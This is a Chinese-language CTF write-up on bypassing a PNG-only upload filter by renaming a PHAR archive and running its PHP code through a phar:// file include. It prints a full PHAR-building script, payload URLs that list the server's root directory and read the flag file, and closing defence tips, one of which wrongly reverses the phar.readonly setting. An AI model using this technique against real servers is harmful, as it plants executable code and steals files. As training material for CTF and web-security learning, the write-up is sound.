news 2026/6/13 2:13:12

【CTF 文件上传 + PHAR 文件包含漏洞】phar 协议绕过 png 后缀过滤完整解题

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
【CTF 文件上传 + PHAR 文件包含漏洞】phar 协议绕过 png 后缀过滤完整解题

一、题目整体介绍

1. 环境限制与源码逻辑

靶机限制仅允许phar://协议被include包含执行;同时上传页面仅放行.png后缀文件,禁止 php、phar 等脚本后缀。 核心特性:phar://协议不受外层文件名后缀干扰,即便把 phar 包重命名为xxx.phar.png,PHP 依旧可以正常解析归档内 PHP 代码并执行。

2. 核心考点

  1. PHAR 归档文件打包、运行条件(phar.readonly=Off、必须带__HALT_COMPILER()存根)
  2. phar:// 协议文件包含漏洞利用
  3. 上传后缀过滤绕过(phar 包重命名追加.png)
  4. 分两步利用:先遍历目录找 flag 文件名,再读取 flag 明文

二、本地前置环境配置(打包恶意 phar 必备)

1. 修改 php.ini 配置

打开php.ini,修改参数并重启 PHP 服务:

ini

phar.readonly = Off

默认 On 状态下无法生成、修改 phar 归档包,必须关闭只读限制才能打包木马。

2. 打包脚本 build.php

新建build.php,这是生成恶意 phar 包的核心脚本

php

运行

<?php @ini_set('phar.readonly',0); // 创建phar归档,输出shell1.phar $phar = new Phar("shell1.phar"); // 第一步:写入遍历根目录的扫描代码 $phar->addFromString("shell1.php","<?php print_r(scandir('/')); ?>"); // phar强制要求必须添加HALT_COMPILER存根,否则无法被解析 $phar->setStub("<?php __HALT_COMPILER(); ?>"); echo "生成成功"; ?>
  1. 本地浏览器访问http://localhost:8000/build.php
  2. 运行后同目录会生成shell1.phar恶意归档包

三、绕过 png 上传限制,上传 phar 包

1. 重命名绕过过滤

将生成的shell1.phar重命名为shell1.phar.png

原理:后端仅校验文件后缀最后一段.png,不会校验 phar 归档内部结构,成功放行上传。

2. 靶机上传操作

  1. 打开靶机上传页面:http://靶机IP:端口/upload.html
  2. 选择shell1.phar.png点击上传
  3. 上传成功后会返回文件存储路径:/upload/shell1.phar.png

四、第一步:phar 协议包含遍历根目录,获取 flag 文件名

构造包含 Payload 访问地址:

plaintext

http://靶机IP:端口/?file=phar:///upload/shell1.phar.png/shell1.php
  1. 页面会打印服务器根目录全部文件列表
  2. 从中提取 flag 真实文件名,示例:flag_7d9726285.txt

五、第二步:二次打包替换代码,读取 flag 明文

1. 修改本地 build.php 执行代码

把扫描目录的代码替换为文件读取代码,填入刚才拿到的 flag 文件名:

php

运行

<?php @ini_set('phar.readonly',0); $phar = new Phar("shell1.phar"); // 替换为读取flag文件指令 $phar->addFromString("shell1.php","<?php echo file_get_contents('/flag_7d9726285.txt'); ?>"); $phar->setStub("<?php __HALT_COMPILER(); ?>"); echo "生成成功"; ?>

2. 重新打包、重命名、覆盖上传

  1. 再次访问本地build.php生成新shell1.phar
  2. 依旧重命名为shell1.phar.png
  3. 重新上传靶机,覆盖旧文件

3. 再次访问 Payload 拿到完整 flag

再次访问同一 phar 包含链接:

plaintext

http://靶机IP:端口/?file=phar:///upload/shell1.phar.png/shell1.php

页面直接输出 flag 字符串,复制提交即可得分。


六、关键原理 & 易错知识点

1. PHAR 协议核心特性

  1. 外层文件名后缀不影响归档解析:a.phar.pnga.png都能被phar://正常读取内部 php 文件
  2. include加载 phar 包内 php 文件时,会自动执行包内 PHP 代码,等效上传 webshell
  3. 硬性打包要求:必须写入__HALT_COMPILER()存根,缺少则 PHP 无法识别 phar 归档

2. 源码过滤限制解读

  1. 仅白名单phar://协议,data://php://、本地路径全部拦截封锁
  2. 上传白名单仅.png,无法直接上传.phar,依靠重命名后缀绕过

3. 踩坑排查提示

  1. 打包失败:检查phar.readonly=Off是否生效、PHP 服务是否重启
  2. phar 包含无输出:确认存根__HALT_COMPILER()不能写错、上传路径完全匹配
  3. 文件读取报错:flag 路径 / 文件名必须和遍历扫描出来的完全一致

七、漏洞防御方案

  1. 严格过滤phar://data://等危险协议,禁止用户可控输入传入协议包装路径
  2. 上传校验增加文件头二进制校验,不单单只校验后缀名,识别 phar 归档特征
  3. 生产环境关闭phar.readonly=Off,限制恶意 phar 包生成;禁用危险文件包含函数
  4. 对用户传入的文件路径做白名单校验,限制只能访问指定目录文件
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/13 2:12:46

多模态大模型在推荐系统中的深度应用与优化

1. 多模态大模型在推荐系统中的范式革新推荐系统在过去十年经历了从协同过滤到深度学习的演进&#xff0c;而当前生成式推荐正成为新的技术范式。传统方法往往受限于浅层行为模式挖掘&#xff0c;难以捕捉用户复杂的兴趣维度。我们团队在电商平台的实际项目中发现&#xff0c;仅…

作者头像 李华
网站建设 2026/6/13 2:12:46

番茄小说下载器终极指南:让离线阅读成为你的日常习惯

番茄小说下载器终极指南&#xff1a;让离线阅读成为你的日常习惯 【免费下载链接】Tomato-Novel-Downloader 番茄小说下载器不精简版 项目地址: https://gitcode.com/gh_mirrors/to/Tomato-Novel-Downloader 你是否曾在地铁上看到精彩章节却因信号中断而无奈退出&#x…

作者头像 李华
网站建设 2026/6/13 2:12:34

终极指南:如何用GetQzonehistory完整备份QQ空间回忆

终极指南&#xff1a;如何用GetQzonehistory完整备份QQ空间回忆 【免费下载链接】GetQzonehistory 获取QQ空间发布的历史说说 项目地址: https://gitcode.com/GitHub_Trending/ge/GetQzonehistory 你是否曾经翻看多年前的QQ空间说说&#xff0c;却发现有些动态已经无法访…

作者头像 李华
网站建设 2026/6/13 2:05:51

郑州专业的AI数字人生产厂家

想降本增效&#xff1f;看过来&#xff01;我之前做短视频创作者&#xff0c;想做账号矩阵&#xff0c;可人力成本太高&#xff0c;每天累死累活也产不出几条视频。后来接触了海铭威科技的数字人短视频系统&#xff0c;简直打开了新世界的大门&#xff01;它能直接拉高创作效率…

作者头像 李华